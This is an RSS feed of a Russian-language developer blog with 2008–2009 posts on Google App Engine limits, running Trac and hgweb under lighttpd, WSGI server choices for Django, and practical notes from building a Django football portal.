<?xml version="1.0" encoding="utf-8" ?>
<rss version="2.0">
<channel>
        <title>slav0nic&#39;s blog</title>
        <link>http://slav0nic.org.ua</link>
        <description>Заметки о python, linux и других занимательных вещах</description>
    <item>
            <title>Мои пять копеек про Google App Engine</title>
            <link>http://slav0nic.org.ua/entry/150</link>
            <pubDate>2009-03-21 02:03:59 </pubDate>
            <guid>http://slav0nic.org.ua/entry/150</guid>
            <description><![CDATA[<p>Где-то с месяц назад приспичило попробовать портировать простенький сайт <a title="shot url service" href="http://uris.us/">URIs</a> (даа, с фантазией у меня туго :] ) на GAE, дабы поближе познакомится с данной платформой.</p>
<p>Итак, что мы имеем (на все вызовы распространяются лимиты при превышении которых включают счётчик :] ):</p>
<ul>
    <li>1GB datastore под данные</li>
    <li>Mail API</li>
    <li>Image Manipulation API</li>
    <li>Кеш на базе memcached</li>
    <li>URLFetch</li>
    <li>Сервис авторизации через Google</li>
</ul> <p>URLFetch - это сервис для получения данных извне. Как обёртка над URLFetch сейчас может использоваться urllib2.</p>
<p>API для работы с картинки в принципе ничем не отличаются от PIL, в SDK через него и эмулируются.</p>
<p>По поводу Datastore... Всё бы хорошо, но как бы заманчиво он не смотрелся исходя из лозунга &quot;а google пользуется BigTable&quot; и это всё круто, и за нереляционными базами будущее, но перестроить своё мышление после реляционных СУБД - довольно трудно. Хотя из плюсов отмечу отсутствие процесса миграции, то есть после изменений модели приложения, они автоматически отражаются на базе.     Теперь немного о плохом, что меня довольно сильно напрягло, так это по 2 таймаута от datastore на день(при примерно 1к запросов к оному). Иногда хранилище не доступно в течение минут 10, я конечно понимаю что кеш наше всё, но всёже...    zipimport тоже тормозит, хотя опять же, запросы примитивные. Хотя это уже вроде бы исправили.</p>
<p>Также из-за особенностей datastore ряд простых вещей усложняется, например таже пагинация, для которой нужно сделать count(), для этого используется <a title="ShardingCounter" href="http://code.google.com/intl/ru/appengine/articles/sharding_counters.html">ShardingCounter</a>    Также есть лимит - больше 1к объектов получить нельзя, то есть необходимо использовать offset и выбирать следующие 1к элементов и так далее.    Всяких unique констрейнов также нет, необходимо использовать ключи.</p>
<p>Интереса ради, создал страницу с выборкой 500 элементов и выводом их в шаблон (кстати по дефолту там использутся шаблоны от django 0.96), но получил таймаут из-за превышения процессорного времени %).</p>
<p>Кроме этого нет возможности сохранять файлы на ФС, точнее вы можете их залить при развёртывание приложения на платформе, но не более. Вся статика, которая аплоадится через приложения, должна храниться в datastore в blob полях, доступа ко всем python библиотекам для работы с файлами нет.</p>
<p>Как ни странно, но API для полнотекстового поиска нет %).  Точнее что-то есть, но довольно сырое, в SDK есть пример с английской морфологией.</p>
<p>Из коварных лимитов также отмечу:</p>
<ul>
    <li>1к строк кода и 150мб статики на 1 приложение</li>
    <li>приложение можно подключать лишь к домену 2го уровня. Приходится делать редирект с example.com на www.example.com который в свою очередь работает на GAE. В общем &quot;naked домены&quot; пока не доступны, по крайней мере бесплатно (через биллинг также).</li>
</ul>
<p>В добавок к этому, нет возможности &quot;легко&quot; скачать код своего приложения, для этого надо использовать сторонние утилиты, для выгрузки данных на сервер через bulk_copy необходимо также произвести ряд действий, замапить в приложении хендлер для этого (кстати тут я тоже нахватался кучу таймаутов), пока что нет аналога cron'a, но он будет в новых версиях.</p>
<p>Из интересных вещей отмечу планы добавить поддержку xmpp, хранилище статических данных и запуск процессов в бэкграунде. Всё это должно появиться в GAE ближе к лету.</p>
<p>Вот вкратце и всё=). Не знаю удастся ли гуглу занять нишу серьёзных платформ для высоконагруженных приложений, но я пожалуй дождусь когда уберут слово beta, ибо пока что мелкие недостатки отпугивают больше чем &quot;шара&quot; ;)</p>
<p><em>Мысли выше писались в полусонном состоянии, прошу строго не судить :)</em></p>]]></description>
            <tags>GAE,python,web</tags>
            <comments>http://slav0nic.org.ua/entry/150#comments</comments>
    </item>
    <item>
            <title>Пару хаков для запуска hgweb и Trac на lighttpd</title>
            <link>http://slav0nic.org.ua/entry/149</link>
            <pubDate>2009-01-05 16:36:33 </pubDate>
            <guid>http://slav0nic.org.ua/entry/149</guid>
            <description><![CDATA[<p>Есть в lighttpd одна проблемка с переменной PATH_INFO. От параметра "broken-scriptfilename" почему-то толку 0 :. 
</p>
<p>Вот пару скриптов для запуска Trac и HGweb через fcgi:
</p>
<ul>
 <li>
     для запуска Trac в корневом каталоге сайта (нашёл в сети, хотя там была одна ошибка):
 </li>
</ul> <div class="codehilite"><pre><span class="c">#!/usr/bin/env python</span>
<span class="k">try</span><span class="p">:</span>
        <span class="k">from</span> <span class="nn">flup.server.fcgi</span> <span class="k">import</span> <span class="n">WSGIServer</span>
<span class="k">except</span> <span class="ne">ImportError</span><span class="p">:</span>
        <span class="k">from</span> <span class="nn">trac.web._fcgi</span> <span class="k">import</span> <span class="n">WSGIServer</span>
<span class="k">from</span> <span class="nn">trac.web.main</span> <span class="k">import</span> <span class="n">dispatch_request</span>
<span class="k">import</span> <span class="nn">tempfile</span>
<span class="k">import</span> <span class="nn">os</span>
<span class="n">os</span><span class="o">.</span><span class="n">environ</span><span class="p">[</span><span class="s">&#39;PYTHON_EGG_CACHE&#39;</span><span class="p">]</span> <span class="o">=</span> <span class="n">tempfile</span><span class="o">.</span><span class="n">gettempdir</span><span class="p">()</span>
<span class="k">def</span> <span class="nf">application</span><span class="p">(</span><span class="n">environ</span><span class="p">,</span> <span class="n">start_request</span><span class="p">):</span>
        <span class="n">environ</span><span class="p">[</span><span class="s">&#39;PATH_INFO&#39;</span><span class="p">]</span> <span class="o">=</span> <span class="n">environ</span><span class="p">[</span><span class="s">&#39;SCRIPT_NAME&#39;</span><span class="p">]</span> <span class="o">+</span> <span class="n">environ</span><span class="p">[</span><span class="s">&#39;PATH_INFO&#39;</span><span class="p">]</span>
        <span class="n">environ</span><span class="p">[</span><span class="s">&#39;SCRIPT_NAME&#39;</span><span class="p">]</span> <span class="o">=</span> <span class="s">&#39;&#39;</span>
        <span class="k">return</span> <span class="n">dispatch_request</span><span class="p">(</span><span class="n">environ</span><span class="p">,</span> <span class="n">start_request</span><span class="p">)</span>

<span class="k">if</span> <span class="n">__name__</span> <span class="o">==</span> <span class="s">&#39;__main__&#39;</span><span class="p">:</span>
        <span class="n">WSGIServer</span><span class="p">(</span><span class="n">application</span><span class="p">)</span><span class="o">.</span><span class="n">run</span><span class="p">()</span>
</pre></div>
<ul>
 <li><p>Для hgwebdir.cgi достаточно добавить что-то вроде:
</p>
<div class="codehilite"><pre>os.environ[&#39;SCRIPT_NAME&#39;] = &quot;/hg&quot;
</pre></div>

 </li>

 <li><p>hgwebdir.fcgi для запуска в корне сайта:
</p>
<div class="codehilite"><pre><span class="k">from</span> <span class="nn">mercurial</span> <span class="k">import</span> <span class="n">demandimport</span><span class="p">;</span> <span class="n">demandimport</span><span class="o">.</span><span class="n">enable</span><span class="p">()</span>
<span class="k">from</span> <span class="nn">mercurial.hgweb.hgwebdir_mod</span> <span class="k">import</span> <span class="n">hgwebdir</span>
<span class="k">from</span> <span class="nn">flup.server.fcgi</span> <span class="k">import</span> <span class="n">WSGIServer</span>

<span class="k">def</span> <span class="nf">make_web_app</span><span class="p">():</span>
    <span class="k">return</span> <span class="n">hgwebdir</span><span class="p">(</span><span class="s">&quot;hgweb.config&quot;</span><span class="p">)</span>

<span class="k">def</span> <span class="nf">wsgiapplication</span><span class="p">(</span><span class="n">app_maker</span><span class="p">):</span>
    <span class="n">application</span> <span class="o">=</span> <span class="n">app_maker</span><span class="p">()</span>
    <span class="k">def</span> <span class="nf">run_wsgi</span><span class="p">(</span><span class="n">env</span><span class="p">,</span> <span class="n">respond</span><span class="p">):</span>
        <span class="n">env</span><span class="p">[</span><span class="s">&#39;PATH_INFO&#39;</span><span class="p">]</span> <span class="o">=</span> <span class="n">env</span><span class="p">[</span><span class="s">&#39;SCRIPT_NAME&#39;</span><span class="p">]</span> <span class="o">+</span> <span class="n">env</span><span class="p">[</span><span class="s">&#39;PATH_INFO&#39;</span><span class="p">]</span>
        <span class="n">env</span><span class="p">[</span><span class="s">&#39;SCRIPT_NAME&#39;</span><span class="p">]</span> <span class="o">=</span> <span class="s">&#39;&#39;</span>
        <span class="k">return</span> <span class="n">application</span><span class="p">(</span><span class="n">env</span><span class="p">,</span> <span class="n">respond</span><span class="p">)</span>
    <span class="k">return</span> <span class="n">run_wsgi</span>

<span class="n">WSGIServer</span><span class="p">(</span><span class="n">wsgiapplication</span><span class="p">(</span><span class="n">make_web_app</span><span class="p">))</span><span class="o">.</span><span class="n">run</span><span class="p">()</span>
</pre></div>

 </li>
</ul>
<p>Возможно кому-то пригодится
</p>]]></description>
            <tags>trac,mercurial,lighttpd</tags>
            <comments>http://slav0nic.org.ua/entry/149#comments</comments>
    </item>
    <item>
            <title>Бесполезность async серверов в Веб</title>
            <link>http://slav0nic.org.ua/entry/148</link>
            <pubDate>2008-12-12 12:59:34 </pubDate>
            <guid>http://slav0nic.org.ua/entry/148</guid>
            <description><![CDATA[<p>В предыдущем посте поигрался с асинхронным способом запуска Django через cogen. Как оказал - совершил ошибку :)     /me не спец в async-программировании     Ниже выскажу своё мнение.</p> <p>Итак, &quot;асинхронизм&quot; довольно сложная и тонкая штука, которую легко можно нарушить лишь одной синхронной I/O операцией.    В тестах на &quot;hellow world&quot; асинхронный метод показал хороший результат, НО в реальных веб-приложениях есть узкое место, а конкретней СУБД.    В реальной ситуацие мы получаем, что к базе существует лишь 1 коннект, т.е. django создаёт коннект -&gt; выполняет операцию -&gt; закрывает коннект, и потом опять повторяет данную последовательность. Поэтому на реальном приложении я получил такую ситуацию, что приложения начинало &quot;накапливать&quot; запросы к бд, и как-бы выставляло их в очередь и выполняло последовательно через 1 коннект.    Хотя у psycopg2 и есть async API, но в django ORM данная поддержка отсутвует.</p>
<p>При запуске через cherrypy мы имеем тредовый WSGI сервер, при этом к базе у нас не 1 коннект, а несколько параллельных (max число упирается в число тредов).</p>
<p>В общем остановился на cherrypy + pgbouncer + postgres.    PgBouncer использую по той причине, что у Постгреса тяжко с обработкой новых коннектов, да и на VPS лучше держать форки в памяти, чем каждый раз стартовать новый из-за тормознутости HDD.    По поводу <a href="http://piranha.org.ua/blog/2008/08/28/running-django/">тестов piranha</a> и результатов для CherryPy - там не был указан параметр request_queu_size, который используется сервером как параметр для socket.listen() (по дефолту он равен 15, так что результат очевиден), да и у Spawning dev-watch режим не выключен В)</p>
<p>Так что, имхо, использовать async можно лишь на серверах где нет БД, там будет реальный прирост производительности. Хотя на малонагруженых серврерах тоже сойдёт. Испытания проводил на серваке с нагрузкой более 18 req/s, в MYSQL (уже сменил на postgres) avg был равен около 550 q/s иногда и 1.2к %)</p>]]></description>
            <tags>async,django</tags>
            <comments>http://slav0nic.org.ua/entry/148#comments</comments>
    </item>
    <item>
            <title>Альтернативные WSGI сервера для Django</title>
            <link>http://slav0nic.org.ua/entry/147</link>
            <pubDate>2008-07-29 18:40:50 </pubDate>
            <guid>http://slav0nic.org.ua/entry/147</guid>
            <description><![CDATA[<p>Столкнулся с проблемой, после обновления джанги перестал корректно работать сервер scgi-flup + lighttpd. Причина банально проста, при POST-запросе на  / получаем
<script_name.scgi>/, то есть вылазит SCRIPT_NAME :|. По совету на pythonua@c.j.r вылечил установкой параметра FORCE_SCRIPT_NAME = ''. Но flatpages отвалились, тк они по прежнему искали
<script_name.scgi>/about %) Желание откатываться на django 0.97 оставил, поэтому стал искать альтернативный метод решения проблемы. Как показали тесты, python-scgi (набор библиотек от автора протокола) оказался быстрее чем flup (процентов на 30-40%, проверял на хеллоуворлде) к тому же последний неплохо течёт при большой нагрузке, но прикрутить его к django нет возможности (ибо не WSGI, а всякие гейты scgi-WSGI типа SWAP и тп являются мёртвыми проектами и неактуальными, да и врядли положительно скажутся на скорости).  </script_name.scgi>
</script_name.scgi>
</p>
<h3>WSGI решения</h3> <p>Сначала попробовал CherryPy, всё легко запускается, довольно быстро работает, но хотел чего-то большего ;)    С подачи <a href="http://piranha.org.ua/">piranha</a> глянул на <a href="http://william-os4y.livejournal.com/"><em>FAPWS2</em></a> (Fast Asynchronous Python WebServer). Штука довольно интересная, использует libevent и основная часть кода написана на С, вечером  нам всё таки  удалось запустить проект на django 1.0.     Из плюсов:</p>
<ul>
    <li>использует мало памяти (~ на 5мб меньше чем cherrypy)</li>
    <li>написан на С</li>
    <li>поддержка WSGI</li>
</ul>
<p>Из минусов:</p>
<ul>
    <li>сомнительно стабильно %)</li>
    <li>мало наворотов</li>
    <li>проблемы с документацией</li>
</ul>
<p>Одной из самый больших проблем оказалось отсутствие поля REMOTE_ADDR в запросе, из-за которого джанга местами валилась, хотя это можно легко исправить, но не факт что с остальным всё хорошо ;)</p>
<p>2й выбор пал на <a href="http://cogen.googlecode.com"><em>Cogen</em></a> - &quot;Coroutines and crossplatform asynchronous networking in python using enhanced generators from python 2.5&quot; как описал это автор. Грубо говоря, это что-то вроде mini-twisted (надеюсь этой фразой я не спалил своё дилетанство в данном вопросе =) ) Так вот он, кроме всего, содержит в себе WSGI - сервер + работает через py-epoll. Для wsgi используется скрипт взятый из cherry, но доработанный под фреймворк (если это можно так назвать).</p>
<p>Теперь о вкусном=) По адресу http://code.google.com/p/cogen/wiki/WsgiServerBenchmark расположены бенчмарки, да, местами Twisted-Web2 выигрывает в скорости, но лично у меня нет желания юзать сию махину для данной цели, да и думаю там есть чему течь ;)    <em>Cogen</em> также поддерживает middleware (смотреть cogen.web.async, хотя на WSGI мидлеты они не сильно похожи В] )</p>
<h4>Запуска Django на Cogen</h4>
<p>После запуска порадовала скорость, даже при <strong>500 конкурирующих запросах</strong> (да, мало кому нужна такая нагрузка, но ради академического интереса пригодится) приложение не падало, ни одого failed request, при этом запросы обрабатывались равномерно (примерно за однин временной диапазон) %) В общем &quot;ни единого разрыва&quot; :p. Утечки памяти не были обнаружены, в то время как флуп при такой нагрузке отвечал на 25% запросов ошибкой.    Из недостатков: как я понял у многих wsgi серверов проблемы с обработкой wsgi.input (хз в чём сложность, но в cogen и ещё одном сервере &quot;из коробки&quot; этого нет) и как поведёт себя cogen например при загрузке файла, я сказать не могу ибо не тестил, но сию проблему решил по простому (по дефолту от POST запросов джанга валится в трейсбек, тк wsgi.input = None).    Скрипт для запуска Django:</p>
<div class="codehilite">
<pre><span class="c">#!/usr/bin/env python2.5</span>
<span class="k">import</span> <span class="nn">sys</span>
<span class="k">import</span> <span class="nn">os</span>
<span class="k">import</span> <span class="nn">os.path</span>
<span class="k">from</span> <span class="nn">cogen.web</span> <span class="k">import</span> <span class="n">wsgi</span>
<span class="k">from</span> <span class="nn">cogen.web.async</span> <span class="k">import</span> <span class="n">sync_input</span>
<span class="k">from</span> <span class="nn">cogen.common</span> <span class="k">import</span> <span class="o">*</span>
<span class="k">if</span> <span class="ow">not</span> <span class="n">os</span><span class="o">.</span><span class="n">path</span><span class="o">.</span><span class="n">dirname</span><span class="p">(</span><span class="n">__file__</span><span class="p">)</span> <span class="ow">in</span> <span class="n">sys</span><span class="o">.</span><span class="n">path</span><span class="p">[:</span><span class="mf">1</span><span class="p">]:</span>
    <span class="n">sys</span><span class="o">.</span><span class="n">path</span><span class="o">.</span><span class="n">insert</span><span class="p">(</span><span class="mf">0</span><span class="p">,</span> <span class="n">os</span><span class="o">.</span><span class="n">path</span><span class="o">.</span><span class="n">dirname</span><span class="p">(</span><span class="n">__file__</span><span class="p">))</span>
<span class="n">os</span><span class="o">.</span><span class="n">environ</span><span class="p">[</span><span class="s">'DJANGO_SETTINGS_MODULE'</span><span class="p">]</span> <span class="o">=</span> <span class="s">'settings'</span>

<span class="k">from</span> <span class="nn">django.core.handlers.wsgi</span> <span class="k">import</span> <span class="n">WSGIHandler</span>
<span class="n">application</span> <span class="o">=</span> <span class="n">WSGIHandler</span><span class="p">()</span>
<span class="n">m</span> <span class="o">=</span> <span class="n">Scheduler</span><span class="p">(</span><span class="n">default_priority</span><span class="o">=</span><span class="n">priority</span><span class="o">.</span><span class="n">LAST</span><span class="p">,</span> <span class="n">default_timeout</span><span class="o">=</span><span class="mf">15</span><span class="p">)</span>
<span class="n">server</span> <span class="o">=</span> <span class="n">wsgi</span><span class="o">.</span><span class="n">WSGIServer</span><span class="p">(</span>
           <span class="p">(</span><span class="s">'localhost'</span><span class="p">,</span> <span class="mf">9000</span><span class="p">),</span>
            <span class="n">sync_input</span><span class="p">(</span><span class="n">application</span><span class="p">),</span> <span class="c">#!!! load middleware for wsgi.input</span>
            <span class="n">m</span><span class="p">,</span>
            <span class="n">server_name</span><span class="o">=</span><span class="s">'localhost'</span><span class="p">)</span>
<span class="n">m</span><span class="o">.</span><span class="n">add</span><span class="p">(</span><span class="n">server</span><span class="o">.</span><span class="n">serve</span><span class="p">)</span>
<span class="k">try</span><span class="p">:</span>
    <span class="n">m</span><span class="o">.</span><span class="n">run</span><span class="p">()</span>
<span class="k">except</span> <span class="p">(</span><span class="ne">KeyboardInterrupt</span><span class="p">,</span> <span class="ne">SystemExit</span><span class="p">):</span>
    <span class="k">pass</span>
</pre>
</div>
<p>ЗЫ: easy_install cogen    Проект довольно интересный, недостатков пока что не выявил. На сайте имеется документация и примеры скриптов, да и основная часть написана на python, разобраться не проблема.    Возможно попробую использовать его + lighttpd c mod_proxy на боевом сервере.    Написал заметку ради твика скрипта для обработки wsgi.input %))</p>]]></description>
            <tags>python,django,wsgi,cogen</tags>
            <comments>http://slav0nic.org.ua/entry/147#comments</comments>
    </item>
    <item>
            <title>Первый &quot;блин&quot; на Django </title>
            <link>http://slav0nic.org.ua/entry/146</link>
            <pubDate>2008-07-21 13:21:31 </pubDate>
            <guid>http://slav0nic.org.ua/entry/146</guid>
            <description><![CDATA[<p>Давно ничего не писал в блог, т.к. сдавал диплом и писал футбольный портал (пока не презентабельно)    Вот захотелось поделиться впечатлениями и имхами по ряду вещей и django в целом.    Впечатления остались ... хорошими %) Последний раз смотрел на джангу года 3 назад, разница конечно большая.</p>
<p>Итак пару слов о проекте. Портал представляет из себя систему с блоками новостей и разделами, тегами, простыми блогами, форумом, регистрацией юзеров, турнирными таблицами, баннерной системой. Писать такое на web.py ммм, конечно можно, но пришлось бы изобретать ряд велосипедов.</p>
<p>Не думал что всё вышеперечисленное будет так просто реализовать%) Из основных модулей использовал:</p>
<ul>
    <li>django-registration</li>
    <li>django-tagging</li>
    <li>django-robots</li>
    <li>django-forum</li>
    <li>UrlMiddleware + ThreadLocals</li>
</ul> <p><em>Вкратце о задачах и возникших сложностях</em>.</p>
<p>Как оказалось, APPEND_SLASH не рaботает c FlatPages, то есть /about/ и /about - разные страницы. Решил сию проблему путём подключения <a href="http://code.unicoders.org/browser/django/trunk/middleware/urlmiddleware.py">UrlMiddleware</a> и задания APPEND_SLASH = False.</p>
<p>При добавлении новостей было необходимо определять автора, давать пользователю задавать поле &quot;автор&quot; показалось не сильно корректным, но в джанге удобных средств для решения задачи не оказалось. Пришлось воспользоваться мидльварей ThreadLocals, которая при каждом запросе выдирает значение user из запроса и присваивает его глобальной переменной (на самом деле локальному треду, но это не столь важно =) ), который можно получить через ф-цию get_current_user(). Выглядит это примерно так:</p>
<div class="codehilite">
<pre>
 <span class="k">def</span> <span class="nf">save</span><span class="p">(</span><span class="bp">self</span><span class="p">):</span>
    <span class="k">if</span> <span class="ow">not</span> <span class="bp">self</span><span class="o">.</span><span class="n">id</span><span class="p">:</span>
        <span class="bp">self</span><span class="o">.</span><span class="n">author</span> <span class="o">=</span> <span class="n">threadlocals</span><span class="o">.</span><span class="n">get_current_user</span><span class="p">()</span>
    <span class="nb">super</span><span class="p">(</span><span class="n">News</span><span class="p">,</span> <span class="bp">self</span><span class="p">)</span><span class="o">.</span><span class="n">save</span><span class="p">()</span>
</pre>
</div>
<p>В блогах потребовалось разграничить доступ для пользователей, то есть после авторизации пользователь должен видить только свои объекты (записи). Это легко можно сделать при помощи NFA, путём переопределения queryset() метода:</p>
<div class="codehilite">
<pre><span class="k">class</span> <span class="nc">EntryAdmin</span><span class="p">(</span><span class="n">admin</span><span class="o">.</span><span class="n">ModelAdmin</span><span class="p">):</span>
    <span class="o">...</span>
<span class="k">def</span> <span class="nf">queryset</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">request</span><span class="p">):</span>
    <span class="n">qs</span> <span class="o">=</span> <span class="nb">super</span><span class="p">(</span><span class="n">EntryAdmin</span><span class="p">,</span> <span class="bp">self</span><span class="p">)</span><span class="o">.</span><span class="n">queryset</span><span class="p">(</span><span class="n">request</span><span class="p">)</span>
    <span class="k">if</span> <span class="ow">not</span> <span class="n">request</span><span class="o">.</span><span class="n">user</span><span class="o">.</span><span class="n">is_superuser</span><span class="p">:</span>
        <span class="n">qs</span> <span class="o">=</span> <span class="n">qs</span><span class="o">.</span><span class="n">filter</span><span class="p">(</span><span class="n">blog__author</span><span class="o">=</span><span class="n">request</span><span class="o">.</span><span class="n">user</span><span class="p">)</span>
    <span class="k">return</span> <span class="n">qs</span>
</pre>
</div>
<p>Таким образом мы получим только записи из блога залогиненого пользователя, довольно удобная штука (спасибо Кошелеву) =)</p>
<p>Когда я только начал писать проект, оказалось что ф-ции агрегации в ORM отсутвуют, но после рефакторинга-qs, кое-что появилось, о чём мало кто знает.     В одной из задач возникла необходимость в группировки объектов, теперь через ORM это делается  так:</p>
<div class="codehilite">
<pre>
   <span class="n">qs</span> <span class="o">=</span> <span class="n">Schedule</span><span class="o">.</span><span class="n">objects</span><span class="o">.</span><span class="n">select_related</span><span class="p">()</span><span class="o">.</span><span class="n">filter</span><span class="p">(</span><span class="n">pub_date__gte</span><span class="o">=</span><span class="n">datetime</span><span class="o">.</span><span class="n">now</span><span class="p">())</span>
   <span class="n">qs</span><span class="o">.</span><span class="n">query</span><span class="o">.</span><span class="n">group_by</span> <span class="o">=</span> <span class="p">[</span><span class="s">'country_id'</span><span class="p">]</span>
   <span class="k">return</span> <span class="p">{</span><span class="s">'schedule'</span><span class="p">:</span> <span class="n">qs</span><span class="p">}</span>
</pre>
</div>
<p>Но вот Inline редактирование после NFA не понравилось, в старой админке это делалось 1й строкой, теперь же надо напистаь около 10 строк%). Пример прикручивания профиля к стандартной модели User:</p>
<div class="codehilite">
<pre><span class="k">from</span> <span class="nn">django.contrib</span> <span class="k">import</span> <span class="n">admin</span>
<span class="k">from</span> <span class="nn">profile.models</span> <span class="k">import</span> <span class="n">UserProfile</span>
<span class="k">from</span> <span class="nn">django.contrib.auth.models</span> <span class="k">import</span> <span class="n">User</span>

<span class="k">class</span> <span class="nc">ProfileInline</span><span class="p">(</span><span class="n">admin</span><span class="o">.</span><span class="n">StackedInline</span><span class="p">):</span>
        <span class="n">model</span> <span class="o">=</span> <span class="n">UserProfile</span>
        <span class="n">extra</span> <span class="o">=</span> <span class="mf">1</span>
        <span class="n">max_num</span> <span class="o">=</span> <span class="mf">1</span>

<span class="k">class</span> <span class="nc">ProfileAdmin</span><span class="p">(</span><span class="n">admin</span><span class="o">.</span><span class="n">ModelAdmin</span><span class="p">):</span>
        <span class="n">inlines</span> <span class="o">=</span> <span class="p">(</span><span class="n">ProfileInline</span><span class="p">,)</span>

<span class="n">admin</span><span class="o">.</span><span class="n">site</span><span class="o">.</span><span class="n">unregister</span><span class="p">(</span><span class="n">User</span><span class="p">)</span>  <span class="c">#!!!</span>
<span class="n">admin</span><span class="o">.</span><span class="n">site</span><span class="o">.</span><span class="n">register</span><span class="p">(</span><span class="n">User</span><span class="p">,</span> <span class="n">ProfileAdmin</span><span class="p">)</span>
</pre>
</div>
<p>По началу кажется избыточно, но потом привыкаешь (а ещё надо въехать где какую модель подставлять %)) Вместе с радостями жизни, узнал о get_profile()... это ужасная штука, которую я больше никогда не буду юзать, хотя снизить число запросов на 1 странице удалось при помощи тега cache в шаблонах    Кстати в примере из документации, по подключению админки, пропущен вызов <em>admin.autodiscover()</em> в urls.py, так как без него мы получим пустую админку, если её описание задано в admin.py (данная ф-ция пробегает по всем apps и пытается импортировать admin.py) Кстати не советую объявлять прямо в модели, ибо вылазят ошибки, говорящие о том, что админка для модели уже задана.    А вот FormSet'ы не осилил, долго маялся как убрать чекбокс delete над inline объектом (в старой админке это делалось через указание одной переменной). Хотя понял что надо задать can_delete = False, но где и как пока не ведомо) ибо по формсетам вменяемых примеров     маловато, особенно по BaseInlineFormSet.</p>
<p>Комментарии решил хранить в форуме на базе django-forum. Кстати хочется оторвать яйца тому, кто когда-то в своём блоге хвалил сею поделку%) отсутсвие пагинации и по 30 запросов на 1 страницу это уж слишком, но при помощи ловкости рук и select_related() удалось довести до ума:</p>
<div class="codehilite">
<pre><span class="cp">{%</span> <span class="k">cache</span> <span class="m">600</span> <span class="nv">profile</span> <span class="nv">comment.author</span> <span class="cp">%}</span>
<span class="cp">{%</span> <span class="k">if</span> <span class="nv">comment.author.get_profile.city</span> <span class="cp">%}</span>
<span class="x">        (</span><span class="cp">{{</span><span class="nv">comment.author.get_profile.city</span><span class="cp">}}</span><span class="x">)</span>
<span class="cp">{%</span> <span class="k">endif</span> <span class="cp">%}</span>
<span class="cp">{%</span> <span class="k">endcache</span> <span class="cp">%}</span>
</pre>
</div>
<p>comment.author необходим для уникальности кеша</p>
<p>И последний момент - newforms. Было необходимо построить форму для модели (по началу думал руками нарисовать и не париться%), было бы быстрее...), но возникла необходимость заменить стандартный &quot;class&quot; на указанный в css:</p>
<div class="codehilite">
<pre><span class="k">from</span> <span class="nn">django.newforms.models</span> <span class="k">import</span> <span class="n">ModelForm</span>
<span class="k">from</span> <span class="nn">django.contrib.auth.models</span> <span class="k">import</span> <span class="n">User</span>
<span class="k">from</span> <span class="nn">profile.models</span> <span class="k">import</span> <span class="n">UserProfile</span>
<span class="k">from</span> <span class="nn">django</span> <span class="k">import</span> <span class="n">forms</span>

<span class="k">class</span> <span class="nc">ProfileForm</span><span class="p">(</span><span class="n">ModelForm</span><span class="p">):</span>
        <span class="k">class</span> <span class="nc">Meta</span><span class="p">:</span>
            <span class="n">model</span> <span class="o">=</span> <span class="n">UserProfile</span>
            <span class="n">fields</span><span class="o">=</span><span class="p">(</span><span class="s">'city'</span><span class="p">,)</span>

<span class="k">class</span> <span class="nc">UserForm</span><span class="p">(</span><span class="n">ModelForm</span><span class="p">):</span>
        <span class="k">class</span> <span class="nc">Meta</span><span class="p">:</span>
            <span class="n">model</span> <span class="o">=</span> <span class="n">User</span>
            <span class="n">fields</span><span class="o">=</span><span class="p">(</span><span class="s">'first_name'</span><span class="p">,</span> <span class="s">'last_name'</span><span class="p">)</span>

<span class="c">#add class=reg4 to input field</span>
<span class="k">for</span> <span class="n">form</span> <span class="ow">in</span> <span class="p">(</span><span class="n">ProfileForm</span><span class="p">,</span> <span class="n">UserForm</span><span class="p">):</span>
    <span class="k">for</span>  <span class="n">f</span> <span class="ow">in</span> <span class="n">form</span><span class="o">.</span><span class="n">base_fields</span><span class="p">:</span>
        <span class="n">form</span><span class="o">.</span><span class="n">base_fields</span><span class="p">[</span><span class="n">f</span><span class="p">]</span><span class="o">.</span><span class="n">widget</span><span class="o">.</span><span class="n">attrs</span><span class="o">.</span><span class="n">update</span><span class="p">({</span><span class="s">'class'</span><span class="p">:</span> <span class="s">'rega4'</span><span class="p">})</span>
</pre>
</div>
<p>Следующий момент. Возникла проблема с профилями, как оказалось они не создаются автоматически при регистрацие пользователя, решил при помощи сигналов (почему-то они вызываются по 2 раза и приходится делать проверку на существование профиля...)</p>
<div class="codehilite">
<pre>
 <span class="k">def</span> <span class="nf">create_profile_for_user</span><span class="p">(</span><span class="n">sender</span><span class="p">,</span> <span class="n">instance</span><span class="p">,</span> <span class="n">signal</span><span class="p">,</span> <span class="n">created</span><span class="p">,</span> <span class="o">*</span><span class="n">args</span><span class="p">,</span> <span class="o">**</span><span class="n">kwargs</span><span class="p">):</span>
        <span class="k">if</span> <span class="n">created</span><span class="p">:</span>
                <span class="k">try</span><span class="p">:</span>
                        <span class="n">UserProfile</span><span class="o">.</span><span class="n">objects</span><span class="o">.</span><span class="n">get</span><span class="p">(</span><span class="n">user</span> <span class="o">=</span> <span class="n">instance</span><span class="p">)</span>
                <span class="k">except</span> <span class="p">(</span><span class="n">UserProfile</span><span class="o">.</span><span class="n">DoesNotExist</span><span class="p">,</span> <span class="ne">AssertionError</span><span class="p">):</span>
                        <span class="n">p</span> <span class="o">=</span> <span class="n">UserProfile</span><span class="p">(</span> <span class="n">user</span> <span class="o">=</span> <span class="n">instance</span> <span class="p">)</span>
                        <span class="n">p</span><span class="o">.</span><span class="n">save</span><span class="p">()</span>
<span class="n">dispatcher</span><span class="o">.</span><span class="n">connect</span><span class="p">(</span><span class="n">create_profile_for_user</span><span class="p">,</span> <span class="n">signal</span><span class="o">=</span><span class="n">signals</span><span class="o">.</span><span class="n">post_save</span><span class="p">,</span> <span class="n">sender</span><span class="o">=</span><span class="n">User</span><span class="p">)</span>
</pre>
</div>
<p>Метод выдрал из какой-то рассылки.</p>
<p>А вот пагинацию я вам не покажу)) ибо уж сильно она убога, а  django-pagination поздно заметил.</p>
<p>Держит сие чудо по 25 запросов/сек (без кеша), а местами за 70 %) на простом VPS'e, работает под SCGI на lighttpd в 1 процесс/threaded режим, поедает 20Мб. Имхо не дурно =)</p>
<p>Чёт смотрю на подзаголовок &quot;Вкратце...&quot; ... но переименовывать уже лень=)</p>
<p>Спасибо Кошелеву, Соловьёву и lorien'y за подсказки на старте :]    Пожалуй всё. Надеюсь я не принёс в сей мир очередную порцию &quot;гавнакода&quot;, а внёс гармонию и красоту :)</p>]]></description>
            <tags>django,web,top-football</tags>
            <comments>http://slav0nic.org.ua/entry/146#comments</comments>
    </item>
    <item>
            <title>Exception #07 video</title>
            <link>http://slav0nic.org.ua/entry/145</link>
            <pubDate>2008-05-04 13:34:13 </pubDate>
